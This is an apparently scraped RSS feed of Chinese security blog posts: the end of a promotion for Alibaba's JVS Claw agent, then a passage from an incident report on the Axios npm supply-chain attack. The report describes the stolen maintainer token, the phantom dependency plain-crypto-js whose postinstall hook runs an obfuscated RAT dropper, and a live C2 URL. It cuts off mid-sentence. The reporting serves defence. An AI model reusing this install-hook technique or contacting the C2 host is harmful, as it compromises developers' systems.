小龙虾还是挺强的，经过很短的时间就能将服务器上的恶意软件识别出来并准确处理，还带自动加固，最终完成准确的溯源分析，如果让我来做，不要说能不能完成这么有深度、专业的事儿，就算能做，也得一两天才能完成，而阿里云的 JVS 小龙虾，仅用了几分钟就完成了。</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">最后推荐一下阿里云的 JVS 小龙虾，新注册即送 7 天免费体验云端小龙虾资格，并额外赠送 200 积分，注册地址：</span></span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span leaf=""><a href="https://jvs.wuying.aliyun.com/" target="_blank">https://jvs.wuying.aliyun.com/</a></span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">点击阅读原文直达官网。<span textstyle="" style="font-weight: bold;">为了回馈一直以来支持信安之路的粉丝朋友，我特地为大家申请了 10 份兑换码权益，通过在本文留言关于你对于小龙虾的理解和认识，我们会选择点赞量最高的前十条留言发放兑换码，留言截止日期至 2026 年 4 月 10 日中午 12 点，赶紧来留言吧！</span></span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">最后说明一下兑换码的权益介绍及兑换方式，兑换码兑换方式：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">1）请前往阿里云 JVS Claw 官网（</span></span><span leaf=""><a href="https://jvsclaw.aliyun.com" target="_blank">https://jvsclaw.aliyun.com</a></span><span style="box-sizing: border-box;"><span leaf="">）或者手机应用市场搜索 “JVS Claw”</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">2）登录注册后，在首页兑换码入口输入兑换码，完成<span textstyle="" style="font-weight: bold;">积分（1600）兑换</span></span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">兑换码及绑定规则：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">1）一个兑换码只能绑定一次，绑定后失效</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">2）请在兑换码有效期内绑定，有效期过后兑换码失效，兑换时间：即日起至 2026 年 4 月 25 日 23:59 前</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">3）完成绑定后，JVS Claw 积分立即到账，不可解绑、转赠、提现</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">4）绑定后积分可在 JVS Claw 官网、客户端使用，14 天有效。</span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://jvs.wuying.aliyun.com/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3fc624f0&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI5MDQ2NjExOQ%3D%3D%26mid%3D2247500581%26idx%3D1%26sn%3Dfaabfae1a68998cf358f7aca68ee8b0c">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 08 Apr 2026 18:08:00 +0800</pubDate>
    </item>
    <item>
      <title>一个应用相当广泛的开源软件被恶意投毒</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&amp;mid=2247500537&amp;idx=1&amp;sn=e0968d5cafdafc1627655b0ad12dbf6d</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>xazlsec</span> <span>2026-03-31 14:44</span> <span style="display: inline-block;">山西</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f8ca40aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FVnwOz8XYCTb32riaGhH7G4nxqC82onB3UKRaZVOlOVruKQlyDclAsstvGYPzydocOaZicSibZ5lW8icgdaia7VI82aB0gThYxXsttQINUFg0lf8A%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;" data-pm-slice="0 0 []"><span style="box-sizing: border-box;"><span leaf="">今天有个热点话题，一个 github 十几万 star 的项目被投毒，2026年3月31日凌晨，一场针对流行 HTTP 客户端库 </span></span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">Axios</span></span></strong><span style="box-sizing: border-box;"><span leaf="">的供应链攻击在 npm 仓库上演。</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260331143459259" class="rich_pages wxw-img" data-ratio="0.6896551724137931" data-type="png" data-w="957" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016882" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=8e36d627&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTZFRpj1XEibTibuKmGd0DGdSFACTehV0hFuV67mJ8Lzar4aeWRsiaagqxQIbRFXyBPoYB53WRCSWfibuROz2llBhsrxRrv8IkHOibhc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">攻击者窃取了核心维护者 jasonsaayman 的 npm 账户权限，短短几小时内发布了两个恶意版本（axios@1.14.1 和 axios@0.30.4），并通过一个看似“无关”的依赖包 </span></span><code style="box-sizing: border-box;font-family: mononoki, monospace;text-align: left;vertical-align: initial;margin: 0px 0.3em;padding: 0px 0.3em;background: rgb(238, 238, 238);text-shadow: rgb(255, 255, 255) 0px 1px;"><span leaf="">plain-crypto-js@4.2.1</span></code><span style="box-sizing: border-box;"><span leaf="">植入了</span></span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">跨平台远程访问木马（RAT）</span></span></strong><span style="box-sizing: border-box;"><span leaf="">。好消息是，攻击窗口极短（恶意包仅存活约 2-4 小时），npm 及时下架了恶意版本，目前已无直接风险。但这次事件再次敲响供应链安全的警钟。</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">下面我们一步步拆解整个攻击过程、恶意代码行为、发现机制，以及你作为开发者或安全人员该如何应对。</span></span></p><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">攻击时间线</span></span></h3><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;padding-left: 2em;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;white-space: normal;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: normal;width: inherit;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">2026-03-30 05:57 UTC</span></span></strong><span style="box-sizing: border-box;"><span leaf="">：攻击者先用新账户 </span></span><span leaf="">nrwise@proton.me</span><span style="box-sizing: border-box;"><span leaf="">发布了一个“干净”的 decoy 包 plain-crypto-js@4.2.0，目的是制造正常的发布历史，避免被一眼看出是新建账号。</span></span></p></li><li style="box-sizing: border-box;margin: 0px;white-space: normal;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: normal;width: inherit;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">2026-03-30 23:59 UTC</span></span></strong><span style="box-sizing: border-box;"><span leaf="">：同一账户发布恶意版 plain-crypto-js@4.2.1，加入 postinstall 钩子（安装后自动执行 node setup.js）。</span></span></p></li><li style="box-sizing: border-box;margin: 0px;white-space: normal;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: normal;width: inherit;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">2026-03-31 00:21 UTC</span></span></strong><span style="box-sizing: border-box;"><span leaf="">：攻击者用被盗的 jasonsaayman 账户发布 axios@1.14.1（1.x 主线）。</span></span></p></li><li style="box-sizing: border-box;margin: 0px;white-space: normal;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: normal;width: inherit;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">2026-03-31 01:00 UTC</span></span></strong><span style="box-sizing: border-box;"><span leaf="">：同一账户发布 axios@0.30.4（0.x 旧分支），同时覆盖新老用户。</span></span></p></li><li style="box-sizing: border-box;margin: 0px;white-space: normal;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: normal;width: inherit;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">2026-03-31 03:15 UTC</span></span></strong><span style="box-sizing: border-box;"><span leaf="">：npm 官方发现后迅速</span></span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">下架</span></span></strong><span style="box-sizing: border-box;"><span leaf="">两个恶意 axios 版本，并将 latest 标签回滚到安全版本 1.14.0。</span></span></p></li><li style="box-sizing: border-box;margin: 0px;white-space: normal;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: normal;width: inherit;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">2026-03-31 04:26 UTC</span></span></strong><span style="box-sizing: border-box;"><span leaf="">：npm 进一步发布安全占位包，彻底阻断 plain-crypto-js@4.2.1 的安装。</span></span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">整个攻击窗口不到 3 小时，却覆盖了 Axios 两个主要版本线，下载量巨大（Axios 每天百万级安装）。</span></span></p><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">攻击者到底是怎么得手的？</span></span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">关键在于 </span></span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">npm 账户凭证被窃取</span></span></strong><span style="box-sizing: border-box;"><span leaf="">，而非 GitHub 仓库被入侵：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">1、攻击者将 jasonsaayman 的注册邮箱改成 </span></span><span leaf="">ifstap@proton.me</span><span style="box-sizing: border-box;"><span leaf="">（攻击者控制的 ProtonMail）。</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">2、使用</span></span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">长期有效的 npm 访问令牌</span></span></strong><span style="box-sizing: border-box;"><span leaf="">（classic token）手动发布包，而</span></span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">绕过了</span></span></strong><span style="box-sizing: border-box;"><span leaf="">Axios 官方的 GitHub Actions + OIDC 可信发布机制。</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">3、证据：合法的 1.x 版本都有 gitHead 字段和 OIDC 签名，而恶意 1.14.1 完全没有这些字段，也没有对应的 GitHub commit/tag。</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">开发者小贴士</span></span></strong><span style="box-sizing: border-box;"><span leaf="">：以后看到 npm 包版本突然“手动发布”（没有 CI/CD 痕迹），一定要警惕！</span></span></p><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">恶意代码如何“悄无声息”植入？</span></span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">攻击最狡猾的地方在于</span></span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">“幽灵依赖”</span></span></strong><span style="box-sizing: border-box;"><span leaf="">（phantom dependency）：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">1、在 axios@1.14.1 和 0.30.4 的 package.json 里偷偷加了一行：</span></span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">&#34;plain-crypto-js&#34;: &#34;^4.2.1&#34;</span></span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">2、但 Axios 源码里</span></span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">完全没有 import 或 require 这个包</span></span></strong><span style="box-sizing: border-box;"><span leaf="">！它唯一的作用就是触发 npm 的 postinstall 钩子。</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">3、安装流程：npm install axios@1.14.1 → npm 自动拉 plain-crypto-js@4.2.1 → 执行其 postinstall: &#34;node setup.js&#34; → 木马启动。</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">这种“只在依赖里出现、不在代码里使用”的手法，非常隐蔽，普通 grep 源码都发现不了。</span></span></p><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">木马（RAT）到底干了什么？</span></span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260331143558259" class="rich_pages wxw-img" data-ratio="0.4052044609665427" data-type="png" data-w="807" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016881" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=5ae7f5db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTamPKCXlvHfDDTbcL1rCZ63IElh9ZUrAf4Kwoib0wvhxuyEF8BzBU58roSRRzuCUhmPHDIl40EoPjs4zDUre73Neuu8tjbPomUw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">plain-crypto-js@4.2.1 里的 setup.js 是一个高度混淆的 dropper（投放器），支持 </span></span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">macOS / Windows / Linux</span></span></strong><span style="box-sizing: border-box;"><span leaf="">三平台：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">1、连接 C2 服务器（</span></span><strong style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: mononoki, monospace;text-align: left;vertical-align: initial;margin: 0px 0.3em;padding: 0px 0.3em;background: rgb(238, 238, 238);text-shadow: rgb(255, 255, 255) 0px 1px;"><span leaf=""><a href="http://sfrclak.com:8000/6202033" target="_blank">http://sfrclak.com:8000/6202033</a></span></code></strong><span style="box-sizing: border-box;"><span leaf="">）下载第二阶段 